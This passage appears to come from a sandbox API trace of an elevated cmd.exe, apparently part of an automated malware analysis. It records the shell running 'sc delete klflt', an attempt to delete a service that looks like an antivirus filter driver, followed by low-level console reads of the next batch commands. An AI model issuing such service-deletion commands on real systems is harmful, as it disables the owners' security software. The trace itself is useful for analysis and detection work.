lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.147] SetErrorMode (uMode=0x1) returned 0x1 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0078.147] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.147] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.147] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.148] GetProcessHeap () returned 0x240000 [0078.148] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.148] GetProcessHeap () returned 0x240000 [0078.148] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.148] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.148] GetLastError () returned 0x2 [0078.148] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.148] GetLastError () returned 0x2 [0078.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.148] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.149] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.149] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.149] GetLastError () returned 0x2 [0078.149] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.149] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.149] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.149] GetProcessHeap () returned 0x240000 [0078.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.149] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.149] GetProcessHeap () returned 0x240000 [0078.150] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0078.150] GetProcessHeap () returned 0x240000 [0078.150] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0078.150] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klflt") returned 1 [0078.150] GetProcessHeap () returned 0x240000 [0078.150] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.150] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.150] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.150] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.151] GetProcessHeap () returned 0x240000 [0078.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.151] GetProcessHeap () returned 0x240000 [0078.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.151] GetProcessHeap () returned 0x240000 [0078.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.151] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klflt", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x5f4, dwThreadId=0xb84)) returned 1 [0078.155] CloseHandle (hObject=0x50) returned 1 [0078.155] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.155] GetProcessHeap () returned 0x240000 [0078.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.155] GetEnvironmentStringsW () returned 0x261b10* [0078.155] GetProcessHeap () returned 0x240000 [0078.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.155] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.155] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.155] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.156] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.205] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.205] CloseHandle (hObject=0x54) returned 1 [0078.205] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.205] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.205] GetProcessHeap () returned 0x240000 [0078.205] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.205] GetEnvironmentStringsW () returned 0x261b10* [0078.205] GetProcessHeap () returned 0x240000 [0078.205] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.206] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.206] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.206] GetProcessHeap () returned 0x240000 [0078.206] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.206] GetEnvironmentStringsW () returned 0x261b10* [0078.206] GetProcessHeap () returned 0x240000 [0078.206] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.206] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.206] GetProcessHeap () returned 0x240000 [0078.206] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.206] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.206] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.207] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.207] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.207] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.207] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.207] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.208] GetConsoleOutputCP () returned 0x1b5 [0078.208] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.208] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.208] GetProcessHeap () returned 0x240000 [0078.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.209] GetProcessHeap () returned 0x240000 [0078.209] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.209] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.209] GetFileType (hFile=0x120) returned 0x3 [0078.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.209] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.209] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.209] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.209] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.209] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.209] GetFileType (hFile=0x120) returned 0x3 [0078.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.209] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] GetFileType (hFile=0xb8) returned 0x3 [0078.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.210] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.210] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.210] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.210] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.210] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.211] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.211] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.211] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.211] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="blt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="at\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="c\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="k.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="u0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 